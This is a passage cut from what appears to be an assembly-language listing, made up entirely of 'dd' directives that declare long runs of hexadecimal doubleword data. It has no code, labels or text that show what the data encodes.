6CC058E7h, 9C4AFBF5h, 23BC8422h, 4194F483h dd 60C41835h, 48C5A645h, 100BE472h, 0AD58FC2Bh, 26E4C2F4h dd 21082064h, 8A0016D3h, 77AF633Ah, 9554419h, 5F14CBEFh dd 0B70000E4h, 970AD263h, 1D7E6722h, 80B13943h, 98EA8AB5h dd 190085E2h, 0FAFDD04Dh, 88352B0Eh, 560027E4h, 0BBA73003h dd 26692C3Ch, 0F87DDCh, 331DA357h, 3705F8A2h, 0D35A0495h dd 1F7F888Ch, 32C3EEAh, 0E29428B2h, 0D51B0CE0h, 5EDCC81Eh dd 433E1F0Eh, 0A8CAB674h, 0A9573AAh, 37A25665h, 1C0C05E8h dd 88781239h, 83393AFCh, 438200B3h, 38C6D652h, 30275E79h dd 7E2D848h, 9CB43E28h, 6636CA00h, 49829C06h, 0FE1E12FBh dd 65E4A056h, 108330A1h, 0D61E7Bh, 5CF45B39h, 14508193h dd 1F5F4800h, 0CA9F41FCh, 0A25712A5h, 2AE40BE0h, 6E6924E8h dd 0E791201h, 9B650FC9h, 98ABF070h, 0AC349633h, 760E60F0h dd 88BA5966h, 0DF2BF713h, 0EF722C41h, 0C070A22Eh, 983505A3h dd 680F32h, 0AD8ABEBCh, 8024569Ah, 0ED6230B4h, 0B425259Ch dd 0A00B5F8h, 9207F7A8h, 0AC54FCh, 0C14F7FC0h, 28ABDFC8h dd 259EDC12h, 0CB2AA491h, 6E60F1DDh, 0E96F0061h, 0BD98834Bh dd 7B096733h, 35710BFh, 273FDBCh, 0F6A92930h, 0E041E40Eh dd 0D498F2CAh, 0B0EC577Eh, 0A6931E00h, 0F3BAEF43h, 0A9716E2h dd 42AC019Bh, 2A85ECF5h, 6B44A000h, 12EF73A9h, 0F16C5EF3h dd 0BF21FE6Ch, 0E8A52D32h, 1844A044h, 7957051Ch, 83E1F28Bh dd 0DF80214h, 812FF00Bh, 9DA020CEh, 96F7FBh, 0D25C9A7Dh dd 0C50A1659h, 6BE55F12h, 361CAAA8h, 8411C9BEh, 24008464h dd 53C97B34h, 4F7868Eh, 611C29DDh, 0CE0CEC1Eh, 3F6D029Fh dd 91244349h, 0CB712EB0h, 0EC3D4470h, 4877030Ch, 31DAE93h dd 0ED0AD9EEh, 0FC8D980Fh, 0CB073B07h, 726D4200h, 0D9CA137Ah dd 0FC9702F6h, 5C7487CEh, 5A017E38h, 2923A278h, 0E0482B27h dd 0DA180087h, 16A692FAh, 9007BF58h, 0A84BAB72h, 0CCC9DE0h dd 9C356074h, 44653268h, 91F6014h, 8A3E3964h, 0BC252182h dd 42909640h, 872E0072h, 0D532EE8Bh, 41E05F6h, 8F57577Ah dd 6E0CA004h, 0E6259E5Fh, 3A7F003Fh, 2C0E7103h, 0C85D7000h dd 0A75415A0h, 74379ABh, 523BC166h, 95047032h, 0F6036BE8h dd 9C9DE10h, 7D112B7Eh, 0BE968604h, 981F1086h, 29E437E5h dd 1DE62900h, 7030EBF2h, 0DF48037Ch, 0D225970Fh, 0E92E1C80h dd 8D4CB900h, 5E3336F0h, 0D7A43D8Ah, 0BC9213h, 0D950D216h dd 0DDB057DCh, 0EFCDA600h, 0FAE71EB1h, 0E46800A3h, 0C847AD6Eh dd 0C10F4CBDh, 62FED63Fh, 41DA3B90h, 9FF13C66h, 32411E4h dd 795B30C5h, 5FC80C56h, 69077083h, 4CAB08B1h, 0C2E6A510h dd 6BDD00FDh, 1F632317h, 8800F943h, 0E29BF4A0h, 1C93249h dd 72E73EFh, 0DCB0EBD1h, 5F98D2FAh, 0E13DE00h, 7B27AD1Dh dd 0E7AE0983h, 0B60117F2h, 0D8057658h, 0D81CE318h, 0DE038977h dd 0E0E7D5A7h, 7ECA3Ch, 9BFB7F14h, 510BCB59h, 25492100h dd 0D2366E0h, 0E69E1C69h, 1FF340C5h, 14459BDEh, 22899206h dd 1DB10BE8h, 0C0D85A9Fh, 3104EA2Fh, 0B76272F7h, 2E53C738h dd 92971480h, 15006D2Eh, 0C2F38E3Ah, 0A80371h, 9AFCE805h dd 55049991h, 723B89E4h, 0F1A480D6h, 8DB91710h, 1C34F209h dd 0C0433C96h, 0A5160156h, 4800632Fh, 148CF139h, 836A29h dd 78288FACh, 4FF3734Dh, 41894E00h, 4A117DC1h, 93980014h dd 5D4C7720h, 0B21FA445h, 1DCBE86Ch, 0C08F8487h, 180312C0h dd 328A2EDCh, 0D76400A6h, 7ED89B5Bh, 0EEE0E500h, 310384FFh dd 0E0DFEB92h, 7FD9313h, 646D62A9h, 7EE790DAh, 161E65B2h dd 5380D505h, 0C9FEE2Fh, 0FC9100DEh, 63DB556Bh, 0C600A021h dd 88E7C8F3h, 0AE794Fh dd 1002771Eh, 1A4B9A60h, 39ADBD00h, 0F9DC37A5h, 5B3F00B6h dd 0FC188E2Ah, 0BC1E2E8Fh, 0B7C0547Fh, 990E5A5Fh, 1D6376D8h dd 802BDA68h, 39157B65h, 2D00B34Ah, 0E7ABCF1Ah, 6B9411h dd 0E83EC205h, 213A8253h, 0FF9B840Fh, 0E27F23D4h, 0B1578883h dd 47A7BA1h, 8EF3F069h, 41D8C0AFh, 0EF1E1C7Dh, 4F4FE48Dh dd 0E94BC372h, 69FBA806h, 0F117014Ch, 4D4A59BDh, 0F403D902h dd 3B167944h, 1000D553h, 9A645DA1h, 2F870070h, 42416838h dd 7B002CCAh, 86FA2775h, 0F067FEBh, 5D135E7Eh, 0C7E86A78h dd 6837E000h, 8FE63279h, 0BDE417DBh, 4A810FE3h, 775DBE80h dd 3700EA16h, 830AADC9h, 21303Ch, 0FF89BD54h, 19AEE659h dd 0E3278B00h, 7AB8684Bh, 15F8243Ah, 29B90069h, 91A9177Dh dd 0FCAE4E00h, 7A2D5CDFh, 78AF0074h, 0F0DAC5EEh, 280094A0h dd 87609D14h, 0E2E60FF5h, 0B1241CE8h, 29A14067h, 2B61DDA0h dd 0B0E0200h, 0BD772DF3h, 47B91ECAh, 44EA00F1h, 2CA1F231h dd 633C48h, 0D5726798h, 0A061D6h, 13CDD227h, 80D4BCE4h dd 78B6D300h, 15455891h, 75EE0029h, 0A8DEA446h, 402A0984h dd 0AAF6843Bh, 4B27AB1Eh, 2DC7A005h, 3958A700h, 990BF5h dd 0AE1C1E48h, 9DCECDDFh, 19BBC000h, 6A0FCC5Eh, 61DE0064h dd 0B9BCC5AFh, 1FE67C81h, 41E240EAh, 229BDD00h, 718F101Ch dd 47C203F8h, 70A619E5h, 0D36C3803h, 0F95CF115h, 41809820h dd 0FB1E597Eh, 270011ACh, 8B779F6Bh, 21435EFh, 1726A9B8h dd 99E0B97Bh, 976FCBFh, 0D6A4D900h, 0BA23EBAh, 28C81F73h dd 8E6F417Ah, 0F8B53C20h, 167DFC32h, 0BDF70200h, 97043111h dd 3F8E03B3h, 770F9E3Ah, 8BE8F98Bh, 940970FDh, 0FBE13B0h dd 3BEB750h, 0FE4E63ACh, 23249988h, 498E0801h, 7AE837DFh dd 73A5C0h, 55F3772Ah, 1F510697h, 0B1045F00h, 2FEAFBA7h dd 72CC0035h, 0FD921BB8h, 41009A58h, 95896922h, 3D46096h dd 49858355h, 0D1C161C1h, 818CC8D6h, 48671C00h, 4B021D0Ch dd 91F806h, 80FF8401h, 0E4D96832h, 0CC61311Eh, 0EF6A78C0h dd 0F8BCA2Eh, 3334D89Ch, 0EA93CDA2h, 321B849h, 3540E7C5h dd 11219DDh, 2BA6EF7Eh, 405FF6F2h, 8039CD0h, 68638403h dd 0E05C6BF8h, 65D1099Fh, 0C0F02046h, 6C4AB01Ah, 0D07D4401h dd 5F4E0457h, 2F60A4C5h, 3D830062h, 0D2A6C433h, 4200A3CAh dd 0BC09EC9Ah, 1BB3CDCh, 860B8BAAh, 0E85A81D1h, 8C0010A0h dd 41A94AC5h, 7583990h, 1CAAEC75h, 0E8D502Ah, 740094DDh dd 534324C4h, 7C9736h, 0EA2D56D1h, 585AF6F8h, 850013B0h dd 0D92F288Dh, 44D782h, 45C98381h, 1AF0573Bh, 35EB300h dd 13043FAAh, 3D7D50h, 8AD14371h, 8032915Ch, 0D66B6E00h dd 0C5D0F1E0h, 50769Fh, 0C5C48FBh, 66512671h, 8A28B60Eh dd 0D0F9409Eh, 3DF4DCFh, 0D19C6360h, 9580BDABh, 0C50165AFh dd 9B744F8Fh, 8A4140EBh, 1CF4F363h, 62CB0E4Ah, 5AC0A45Dh dd 0BFE52919h, 5F70601Eh, 0CB1058C0h, 604DC6F5h, 0B88F4080h dd 277959F1h, 922C2B00h, 79853273h, 48BD0058h, 0B668D321h dd 2400EAABh, 0CBCD8F4Eh, 573A14h, 0BFFC3FC4h, 0E666D670h dd 0B400997Ah, 95752719h, 16861D5h, 0F742CFCh, 3560CA59h dd 886D498h, 0FA841900h, 2C30813Ch, 4CE300A5h, 0B845A2B1h dd 0CC052D43h, 31906A54h, 924B30C0h, 0AC27001Fh, 9EBE48F4h dd 5902EA39h, 517C8BFFh, 0D14840A7h, 0B19901C7h, 2137976Ch dd 0E70BE4Eh, 98B9B2C9h, 3F483980h, 867C4EEh, 0CCF640B6h dd 21C3BA29h, 34DFE37h, 9A8FD739h, 40976C78h, 0AC79B1A5h dd 0C31DC80Bh, 0FB980187h, 0FC303EC6h, 0F387AB5h, 0B0059720h dd 25120600h, 0F800E6E3h, 0DD924A8Eh, 589CBA0h, 36BC55E7h dd 97504A20h, 704F0140h, 81D66EEEh, 0D51BB711h, 398263E1h dd 7729DD8Dh, 143D1880h, 0B907FD4Eh, 0AA65A635h, 0F9DBA540h dd 0FEB8A862h, 68FD6097h, 95780A73h, 5F28C00h, 0D65B48EFh dd 658D0060h, 0C1526ADEh, 3E003DA5h, 0FC67B828h, 405ECAh dd 0AA3B6BD7h, 69CE1EB6h, 0CAB358h, 6A6EDB02h, 76E54C15h dd 83980060h, 3D8154B5h, 4FECCBCAh, 3224A900h, 0AC689BC9h dd 0BB8201F3h, 0FC9F98DBh, 5D805355h, 27A79788h, 0A52E6300h dd 0F1E2462Ch, 0EC6D005Bh, 375482ABh, 1A61D715h, 0FCE9B30h dd 7100C0EEh, 8E090141h, 0E4BC0437h, 30B52176h, 5F0065CFh dd 4BD3C025h, 0FCB6AFh, 0B1DFDB1Fh, 0D58C8B39h, 8F873300h dd 0EF08A5C2h, 0E398A85Bh, 5D8300D7h, 0E1B4F880h, 0F400B757h dd 29C473DEh, 431C53h, 2FD55831h, 0A9A3B934h, 829C6A00h dd 0CF5F86C4h, 0B6F50BA4h, 2B804CD6h, 0CDBA8C2h, 2903A07Bh dd 9F84D594h, 6D1800EAh, 0FF5A9C38h, 80C054A1h, 9E5BCCD1h dd 8CF0A8AAh, 0D08D00ECh, 1AF7A3C2h, 8E3BB65Fh, 90288091h dd 92687C47h, 0DDD012DFh, 50282357h, 24C763A0h, 4891EF30h dd 7FA235C1h, 8911008Bh, 0E01F0F96h, 0B77E66F9h, 56B66400h dd 0B8B5EBA2h, 0D02A00C9h, 0E9C62D2Fh, 8D31BD51h, 0B61408DAh dd 838208Fh, 0E7F3EFE0h, 24F635BCh, 0C8286207h, 0CF405A65h dd 0F6C0E1Ah, 0DB938792h, 47E667C0h, 0B90C85B1h, 48BA2EC1h dd 0A3333A03h, 9BB60A03h, 813CF83Dh, 5F5780C7h, 702A9E01h dd 0BAD10112h, 0D832ABC1h, 0B71894F5h, 84D4211Ch, 0B3C42h dd 8B9678EEh, 0E470A5B9h, 4BB76149h, 0CAD27DCh, 5218480Fh dd 0CA0E4958h, 98F23D9Fh, 309880h, 2B1DD4D0h, 0FE709A13h dd 8BEB0B74h, 0F098AFA1h, 0F9DE294h, 1A8F5010h, 20C826C6h dd 748E62C7h, 0CA8A3E6h, 0A615D8EBh, 7500C7B8h, 9B6DB2CAh dd 0BDD45h, 0F301F763h, 0DE5EFFC0h, 5F782800h, 84F9E1CBh dd 4AEE00AFh, 0CD2D373h, 280074C1h, 6362D477h, 1F0B459Ah dd 0C7751B3Eh, 10CACDB7h, 7F7766B8h, 0AD63A9ECh, 0C09F7CD2h dd 7DCC39h, 0F5F44A03h, 0D40E2BD5h, 35658B00h, 4D1518BCh dd 61CE1CF0h, 2EE08094h, 4B72020Fh, 0D4F32C00h, 8B5F7582h dd 1CF40767h, 40F714BEh, 99315D06h, 6A12A50Eh, 7386E3BFh dd 8B83F555h, 6997D0C9h, 54CEE18h, 8007CA9Dh, 53D180F6h dd 0D700C8FBh, 0F0E56978h, 7C3F9BFh, 9A227934h, 0AF67A0D0h dd 94EE6A0Bh, 31C685Ch, 2A358A7Ah, 0A570EFF0h, 0A8BC9Fh dd 95D0949Bh, 7962D9EBh, 0D45D6918h, 60C27B50h, 0E406B035h dd 700F62Dh, 14A85FD8h, 7A4FBCB5h, 0E366005Ah, 0B16322CBh dd 0F80F94D5h, 0B878D6CCh, 434A38h, 45EC89D4h, 4F912D35h dd 0E485A606h, 103611h, 1F29BCA3h, 88D4F28Dh, 0CFF97500h dd 0CCE3FCB2h, 0EEAC3B9Eh, 7EB0C400h, 0C6A908C8h, 0C068C00h dd 43E0124Bh, 0FF911EDAh, 6004290Bh, 0D7035DCh, 820FA9F8h dd 0C0C94A58h, 0FF75E651h, 0C6F4F0h, 0A2DB4403h, 0A83D60EFh dd 29C45AFAh, 6703E59Dh, 0BD900771h, 0F81682E4h, 8707A315h dd 647079ACh, 96F0C8h, 0AAD69C4Ch, 855CED28h, 0CECB3C00h dd 8168E0BAh, 0B66A0E9Bh, 6DE02D49h, 45474887h, 0EE0EC900h dd 1D345097h, 0B0700E5h, 9256261Ah, 7476CAA7h, 8C44C300h dd 0A340B975h, 7B1C0048h, 46242E07h, 0F13E9E32h, 411160F3h dd 1A0C462h, 0CEB652BEh, 407595DDh, 1B95E80h, 18133200h dd 0A9E709A0h, 86B40372h, 5B822FC3h, 3FDC5790h, 70ABF500h dd 0B719A554h, 0CBFE75h, 0ECD5726Fh, 0A933B92h, 5C30DE00h dd 0EB94B3A5h, 7F0600FBh dd 0B80F443h, 7D003746h, 0CF55D868h, 0E04E17h, 577F69EEh dd 0AD36D20Ch, 2DA5EA00h, 58912C76h, 0EFDF480h, 0DA4D5407h dd 77202E20h, 100078ABh, 0F6665535h, 8F80Dh, 71092AE4h dd 6929327Bh, 41543C0Eh, 86C98033h, 72A62F80h, 356F01BCh dd 19DC7DA4h, 8284D02Eh, 14A1111Dh, 7F5EED43h, 956C8936h dd 3CC92F4h, 4DC4A96Ah, 2298914Ah, 0AD00CD35h, 747179BDh dd 2C4916B2h, 0F2713BEh, 58E0C1ACh, 0BC655EB9h, 0E3F37A00h dd 231282BFh, 9E4E003Ah, 0F57FA264h, 0FF00BDFBh, 9F93529Dh dd 1F7EE39h, 0B17A75C2h, 0C80543ECh, 0AF00AC50h, 477FCE81h dd 0E9588Ah, 0F9EA2F1h, 44B6A822h, 283DEA00h, 631AB9F5h dd 0D8883A8Eh, 4B9D2EF2h, 6C23000Eh, 2295F725h, 143180FFh dd 0FDB07E8Fh, 980C0BE9h, 0E801BCAFh, 40288BB5h, 18729DDDh dd 4EC21E00h, 7C14CCC0h, 5D440BE7h, 0FFA85Eh, 0B75C4746h dd 0E1370FFAh, 0DA20FB5Fh, 0D14B60FDh, 0BDD0AA00h, 97474087h dd 5FE45Bh, 0DCEB1124h, 4F427E6Bh, 0E421950Ah, 0B90080EDh dd 75AA7369h, 0F9803F79h, 3C18E3B0h, 0B23ACBEEh, 0B71060B6h dd 0D319E6h, 0CC72D026h, 86E32A8Ch, 534D1A0Eh, 0BFDC30h dd 0D4BE773Ch, 396D3859h, 0F100EAA1h, 21DC1BCDh, 15009764h dd 0ACBD08F6h, 61F9Bh, 0A87A99DDh, 1A3B72C5h, 0B5CD0300h dd 49810CADh, 16B0006Fh, 0E9202DB4h, 1A029EBCh, 9146F8FCh dd 2BEDE087h, 88EA60DBh, 643EAA7Ah, 0B0503100h, 962F9C80h dd 0BBC300CBh, 8178179Eh, 0D5B892D5h, 63BDD30Eh, 85D86053h dd 72EC60h, 1397EF1Fh, 4DBA4C44h, 0DF365B07h, 0A0301030h dd 1C32D76h, 42074B9Eh, 6053FE6Eh, 453E3753h, 754C8E8Fh dd 0DFD7E348h, 18EBD8B9h, 0B0870EA8h, 1EE0315Eh, 84E54BAEh dd 0B029C5A3h, 3E809CA5h, 0E7BB1048h, 0C07802ACh, 32B6CC0Ch dd 0A1C116C0h, 63F863Ah, 0DC9D4EE8h, 1FB9810h, 0D4281157h dd 0F81AC5C2h, 0A80B50EDh, 90BF3Dh, 3911EC47h, 6F101CA2h dd 22FEC0C1h, 4658BB24h, 8B456C0Eh, 7B07C0D6h, 12BC87h dd 772FF05Ch, 9DB58C30h, 824157Ch, 0C0008E66h, 627C3DFCh dd 0F678FDh, 0B82263E4h, 934A2712h, 0CDEE96E8h, 0FEB94507h dd 38B16DA6h, 4871DE0Fh, 0FE5E4C0h, 0C4CEE8A4h, 0F2B0EC20h dd 2E2E0260h, 1A01FD3Ch, 0B3E4D27Ch, 1464F4h, 0B4DF8C19h dd 0E5FEBA63h, 71A1C20Fh, 8E28A080h, 171F93h, 278E2BDh dd 9CD0AD1Ah, 2150C700h, 0A0C8B74Dh, 863404A5h, 873DF09Ah dd 3254F009h, 180A3BDDh, 0A4C66BE4h, 0D8760601h, 0B453B1F0h dd 7ACF044h, 4C480026h, 70304BD9h, 63D6603h, 0F58100B5h dd 0F29F8947h, 43AE24Ah, 73E8B845h, 79C2800Fh, 4960F614h dd 11BE5718h, 1F31008Dh, 0DBC9AC85h, 2700A337h, 8B7D5FC5h dd 1269438Ah, 14830DD5h, 0E9790CF4h, 182E6070h, 0C093B30Ah dd 350185AEh, 311D177Ch, 61E0965Bh, 0EBC00FBh, 0A68D2BA1h dd 2F00F130h, 96F434D9h, 1552F9h, 0D166DCBBh, 0ABBE0574h dd 0B9F2AF00h, 43950A94h, 53440A75h, 1B5C4D0h, 13796660h dd 0D01C31BAh, 0D5E0C9F6h, 0ECF7A507h, 0E06FE11Dh, 60BD3BDEh dd 0B15D00F2h, 1F014A18h, 5C49EA3Ch, 0A77E00C4h, 0BDD703Fh dd 0EBD80053h, 0FA3CC6CEh, 9F00B922h, 335E5C3h, 5888AD1h dd 5C7B6669h, 0BBE003C6h, 7DC81E29h, 0EB00BD97h, 46E0C472h dd 24909A27h, 148742h, 0D0CE96B8h, 0B603D37Fh, 18ABBDA7h dd 0C5810050h, 0DE6B9B93h, 713AC60Eh, 9373AD6h, 1FEC8Bh dd 0AAEA22B6h, 786C74B3h, 0F2E50029h, 8AE30A05h, 7C030E10h dd 4628BBA9h, 24A8A8C7h, 47F00D8h, 0A208209Bh, 72005053h dd 0F1187D9Ah, 6767E16h, 5A9BFE60h, 91106130h, 53004B95h dd 20733D11h, 5600E96Ah, 0E61E44FEh, 182C1D2h, 0F3E32F10h dd 8A679FA7h, 24539B91h, 0C8E66C0Ch, 0A2100011h, 0F32A2447h dd 0E47B6A2Dh, 0E300FD78h, 3C7F264Bh, 0DCB8D5h, 0F1E76402h dd 0CAEA27DDh, 13AF300h, 0AA119BECh, 633F0056h, 0B37A4B9Fh dd 2B004787h, 0A436048Ah, 2D919Ah, 3BA29379h, 267371F6h dd 2E8F5D00h, 48FC0206h, 0FF451E58h, 0B33DC0FEh, 0E1F34108h dd 858EBD1Eh, 0D99A81C1h, 2FE0FBB7h, 61A90069h, 0A82D10B2h dd 0F80068C2h, 0C686F7F6h, 370FFFh, 84BAFB25h, 9D8C693Ch dd 3E3F4EE2h, 87F89DA1h, 0A40E881h, 5DEC5655h, 0A3CE00F3h dd 4ABCB342h, 5C009F97h, 99EDA904h, 3D43FDh, 0CB27F659h dd 3AD95B9Ah, 473B400Ah, 3E009CB2h, 43A5DF6Ah, 0ECF432h dd 0EB3401ABh, 6DDEB98Fh, 1804A330h, 2FC253h, 216A37FCh dd 484E67A7h, 7E078EF8h, 222829E7h, 8FDD0CE2h, 73DE00D0h dd 253415Eh, 0AB303B81h, 0ED633DAEh, 6E6B2100h, 759B215Eh dd 0D1081EDFh, 0CC018163h, 0F9AB6218h, 0F31271F6h, 4C3E3100h dd 8C63B2E0h, 91A900C1h, 8F24ECB4h, 1F07F0DCh, 0C303E3D1h dd 1823403Ch, 18F1B66Fh, 3624E748h, 424024B2h, 1C17EFC6h dd 8C10D2E3h, 3C08DA9Bh, 0A720E960h, 0F31EF2Ah, 5777D4D0h dd 49228426h, 366F240Ch, 3C158F9h, 0ACC218A6h, 3CE09C03h dd 6EF2AFB6h, 2AEA7000h, 4F376BDEh, 0E361206h, 8BF900E9h dd 5570B4B9h, 9103E7FCh, 3CBBD113h, 12A1B089h, 0BFBD0010h dd 9B08446Ah, 0A300D7F6h, 6EB7A42Fh, 3C3BD87Bh, 8C805EF7h dd 52FDF586h, 400BB09Dh, 80773022h, 0EFD73F73h, 1CD5000Bh dd 91C8EABBh, 0DA3CF3DFh, 7E60079Ch, 0C570DBACh, 1DC5F47h dd 6AECC039h, 0F87019CCh, 930E8930h, 631B9A7Fh, 0C8854C8Eh dd 0E42E5Dh, 9B23752Bh, 0F854D7C9h, 24EA8F07h, 3B96BFC6h dd 86048711h, 10AEECDDh, 3A212700h, 0C1D787F5h, 0E9B50056h dd 0EF8F3CB3h, 9F01DD54h, 27F741F6h, 2988447Ch, 8A884FA5h dd 84CB908Bh, 8944531Ch, 280D4A52h, 0AD84C710h, 0B06D4F51h dd 8FAF9100h, 72B1667h, 980073B0h, 0B3C3596h, 34BE6Dh dd 588DE782h, 8F7038F3h, 0E4A2B200h, 7013512h, 0F2870098h dd 0F754FA82h, 6D00F4A0h, 0D40A8581h, 0AE1319h, 0B01D5035h dd 0B141FE4Eh, 8112AC18h, 0ECC0C528h, 29DE0EC2h, 5960A2B8h dd 177064BAh, 774D1900h, 0B77935BFh, 0BB480E97h, 0D5C013E3h dd 4901122Ah, 0CCBD5C00h, 0FA036825h, 0B4AE0780h, 5D9E030h dd 64E300B0h, 0F510E2F7h, 33F93A00h, 5642D27Dh, 2E90C6h dd 0EC46DC48h, 3CEE6086h, 19C0ACF0h, 94876E4Ch, 0E7D0003Dh dd 636275BFh, 91C7DA56h, 0C4B0D8DEh, 0A9B6582h, 0F691E83Fh dd 0A0C900F4h, 3D13107Ah, 75B14E00h, 0D4A483B7h, 0DB500FDh dd 0B9502889h, 0BE007C96h, 0A76E4A9Ah, 6ABA11h, 75BD200Fh dd 0B9E0B101h, 0C563BF00h, 46419830h, 225D00D8h, 0E35E17Fh dd 33009538h, 0A2193D4Ah, 96251Fh, 1C94C824h, 0FE637176h dd 0BF72D33Ch, 80CE3F41h, 3F53A41Ah, 0EABE7DBFh, 18E2000Ch dd 4259AEC3h, 5CFEDC5Ah, 29EBB600h, 0B5623597h, 0E230186Dh dd 19F828D4h, 0E5F77700h, 0D0DB1187h, 9D2100B3h, 7A04B917h dd 6C006B49h, 77C3A7F4h, 0EB557CAh, 62814F63h, 19B2D2C0h dd 502E469h, 17846BC3h, 0CBCAE0D3h, 5DD63A40h, 0FA62A180h dd 75F587F9h, 448A6E00h, 70D53BE0h, 4C6801FBh, 7A4C839h dd 0EFC83087h, 0A9D60E2Eh, 75C57E00h, 0FE2211h, 6CA6782Eh dd 0D2F125CFh, 442D2703h, 0D7730D43h, 9A598E50h, 0CB1E0049h dd 39C77F29h, 0C1009D08h dd 10F1A898h, 0B882C226h, 36690033h, 0D1D72A7Ch, 6C00855Ah dd 945620AEh, 2FBBE9h, 9818C8B0h, 0CC714E1Dh, 68DDA300h dd 42FE7A2Ch, 0F8E602E5h, 997B98B8h, 0AF375EE0h, 5C33173Ch dd 3D3A0004h, 0C2C0CD15h, 645E0072h, 52EA9697h, 1300039Ch dd 0A4F5091Bh, 0FF219D3h, 0AEF101D5h, 639C5620h, 89026E94h dd 5A3D8D13h, 0CF2F40F2h, 1D1E4BBh, 39CB9133h, 50EC1E66h dd 95F7B2E0h, 88282700h, 56C5AC5Ah, 0DD9091h, 90A87B9Ch dd 26B9056Ch, 7FB49800h, 634421E7h, 0F49B00D3h, 0CD948548h dd 352C0C18h, 7900CF78h, 42E00427h, 68D9011Ch, 77DD4422h dd 175020F1h, 71657A00h, 0D867B39Bh, 0E3F500ABh, 0F27FE9BDh dd 401CCE76h, 32CF6112h, 51D7C079h, 0A623Ah, 27F01067h dd 58C31C3Ch, 396E9B00h, 9EE119ADh, 0DF305CB2h, 70D024h dd 11AA4202h, 0A40CCC07h, 70663EDDh, 0DCD801ACh, 5A7B26EEh dd 9FEFDC3Fh, 7F1F571Eh, 480D480h, 847642h, 0EBEA5027h dd 644853EDh, 17E2C003h, 8037603Bh, 172514Eh, 90A2FCD7h dd 43806E7Fh, 7E8043B8h, 0F4001E40h, 752169AFh, 3E4C1AD6h dd 9A8EC70Dh, 0B40034D2h, 91824F16h, 0A4670900h, 5E80737Dh dd 14E039A5h, 8457D400h, 9C3851D9h, 1293EA01h, 755B4EEh dd 8582C8h, 9F58FE25h, 0D629842Dh, 0A328300h, 98ECA8BAh dd 6B510120h, 62D949Ch, 6F46FC68h, 0BBDB4B00h, 18B026DAh dd 7356007Eh, 0EEB538CCh, 2013FF0h, 242D66B2h, 87D9F8DAh dd 3B1D160h, 0E85774F3h, 73C0E378h, 0E216B30Ch, 0FB0087A6h dd 0B53ADF88h, 0CF57003Ch, 5E1EECC9h, 0B4013429h, 4AC02F89h dd 9730C2CCh, 7DF80C26h, 0FD18B5DCh, 3E337F00h, 1651D380h dd 0FF7E019Ch, 0DF440397h, 0B819CCB7h, 0F93954F8h, 0CDBE0075h dd 343B0939h, 736500D8h, 0B8B39DE8h, 16008EA1h, 82B5324Ah dd 1FD9644h, 0E66388FCh, 0C5A33190h, 0C447F162h, 0FE01F8C6h dd 0FB25FAA8h, 0C9C899B5h, 5CE04Ch, 0D31F18F1h, 3E7C3B05h dd 0BF6F5D01h, 0E46BCB64h, 26CDAFC0h, 73295B6h, 80CAD943h dd 0B5608220h, 17BA0300h, 0FB3053B3h, 96510540h, 0FC8A7404h dd 0AF0A0003h, 0EEFD1760h, 0D51C58A9h, 2C35A300h, 8C4C5EDh dd 92584650h, 7298FE02h, 0C0346BC6h, 7D57ECCh, 6045BCA3h dd 0B76FB004h, 64B8D87Dh, 0DC7A9A1Fh, 41E1FC87h, 5227CA21h dd 6377ECh, 44F864D2h, 0C76D9C8Dh, 9B01EFB0h, 35034518h dd 0FBD8A822h, 4C8A00AEh, 530BCF9h, 7700987Fh, 9B0ACFADh dd 805765h, 7228AA1Fh, 8731CC7h, 0C4AD8800h, 514B0C27h dd 59BE001Bh, 0EAE948DBh, 530364DAh, 91B1D873h, 2132B06Ah dd 7C8700DFh, 36606F47h, 4E0035AAh, 3B5141E8h, 77E0323h dd 400714A7h, 0BAC860D9h, 97010B81h, 72F1419Eh, 0B5EC804Dh dd 0C17F00ABh, 0B9358955h, 962E6DA9h, 951DBA2Eh, 0A75F8B40h dd 3F7671A0h, 0B980090Ah, 8875363h, 1F047742h, 83F660EDh dd 0C60354C5h, 0EADA71D5h, 0CF03E03Bh, 804F0415h, 80815C35h dd 0E1EABD0Dh, 828C750Fh, 0BC8BC07Ch, 0B3769A0h, 0E51F3593h dd 1986B580h, 0CA0C124Bh, 0F02AFB1Ah, 62AB00DBh, 7F4D1540h dd 0E53AE147h, 5A00F9E3h, 0C15D41EDh, 0B596A0h, 47681ACBh dd 2F8C547Dh, 99136B00h, 1B23D278h, 555000FEh, 0AD7963A0h dd 9B18C566h, 30F8B90Bh, 0EB7F00A9h, 7ED34152h, 31EF9E1h dd 0F140FB5Bh, 0B7ED24F6h, 1C210077h, 638E2C07h, 6490AEC6h dd 0EFA0877Bh, 0C9011836h, 788FB031h, 0FEC02A40h, 0F2590079h dd 0A3D21421h, 0A500262Bh, 31CBF04Eh, 0D81F0Ah, 6AECFBBCh dd 0B82A9D09h, 0EAFF6900h, 60038951h, 8F1D009Ch, 0AFA0DAE4h dd 200085FBh, 0ED4B442Ch, 15B8BE3h, 427AE99Eh, 0E0F8A3AEh dd 0E100B250h, 0F2B1DD17h, 3AC069Fh, 4F452667h, 0DAC02934h dd 620FC216h, 0A0A5752Bh, 0AAD2ED5Dh, 2D6A01C3h, 531C9DA8h dd 983FF09Fh, 0EEA10926h, 419A1100h, 0C16AE7h, 0B2927AAEh dd 0DB755A91h, 0DA003BF4h, 436F691Ch, 0B0F7ECDCh, 1ACD0384h dd 0B72E28C2h, 73F0DDD3h, 7200703Bh, 0EBF662B4h, 0A1883F9h dd 8E8DED8Fh, 0D34301EFh, 0F8ECBEF0h, 6C2C587Fh, 7C3FC2F1h dd 0D4003A98h, 0EC7C8183h, 9D9411h, 5C851E62h, 183ADAEBh dd 0F07BA800h, 5AD48AACh, 0F4CC9003h, 14A4A89Fh, 4F7800C4h dd 0AF325664h, 4FAEC76h, 0AB0080E2h, 52CC7A23h, 0E3847A7h dd 8A51E19Eh, 0EEA028A0h, 6A3923F7h, 0ADB28193h, 1ADB206Ch dd 0EF3C6080h, 99945C57h, 7471EC1Eh, 43864540h, 0F64CD44Fh dd 0EE150039h, 801B0B07h, 0FF2803F5h, 0BE0A8C2Bh, 8849830Eh dd 6E3A200h, 0C16971h, 92E8F7C0h, 0D624D16Fh, 0B304D200h dd 99B17FCDh, 0AF86001Eh, 0BCAC511Bh, 501E3D95h, 0ED00565Ch dd 7997650Ch, 0B4C201D3h, 0DA4917E6h, 24D7FCF6h, 3C003DF2h dd 0A932071Fh, 30749739h, 2AC81508h, 5D1D1AE6h, 3F406AA5h dd 0AF70CC14h, 0F7CB00BBh, 490531A7h, 7D126492h, 270EE893h dd 0ABAC0065h, 3D0F6F0h, 89BD7BB8h, 70997A30h, 9144206Ah dd 51F44A00h, 0E5959313h, 0BEEE007Eh, 